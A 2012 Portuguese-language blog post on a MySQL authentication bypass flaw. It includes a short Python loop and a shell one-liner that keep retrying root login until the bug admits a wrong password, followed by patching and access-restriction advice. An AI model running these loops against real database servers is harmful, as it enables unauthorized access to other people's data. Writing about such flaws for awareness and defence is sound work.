terça-feira, 12 de junho de 2012

MySQL Authentication Bypass Exploit - WTF...

Foi divulgada recentemente uma falha no MySQL que permite a autenticação de qualquer usuário válido (ou seja, root em 99% das instalações) sem a necessidade de senha, utilizando apenas um simples loop exaustivo de conexões [1]. É quase inacreditável que ainda existam vulnerabilidades como essa em softwares tão usados como o MySQL.

Um exemplo em Python [2] :

#!/usr/bin/python
import subprocess

while 1:
        subprocess.Popen("mysql -u root --password=senha", shell=True).wait()
Em shellscript, para ser mais rápido:

while true; do mysql -u root --password=senha -h 127.0.0.1 2>/dev/null; done
Para se proteger desta lamentável falha, basta aplicar os patches já divulgados pelos fabricantes.

Se você não pode fazer isso por N motivos, recomendo remover, pelo menos, o acesso externo dos superusuários ao seu banco (ou seja, remover qualquer registro da tabela mysql.user que contenha o campo Host como % com usuário root ou similares).

Fontes:
[1] http://seclists.org/oss-sec/2012/q2/493
[2] https://www.secmaniac.com/blog/2012/06/11/massive-mysql-authentication-bypass-exploit/

Nenhum comentário:

Postar um comentário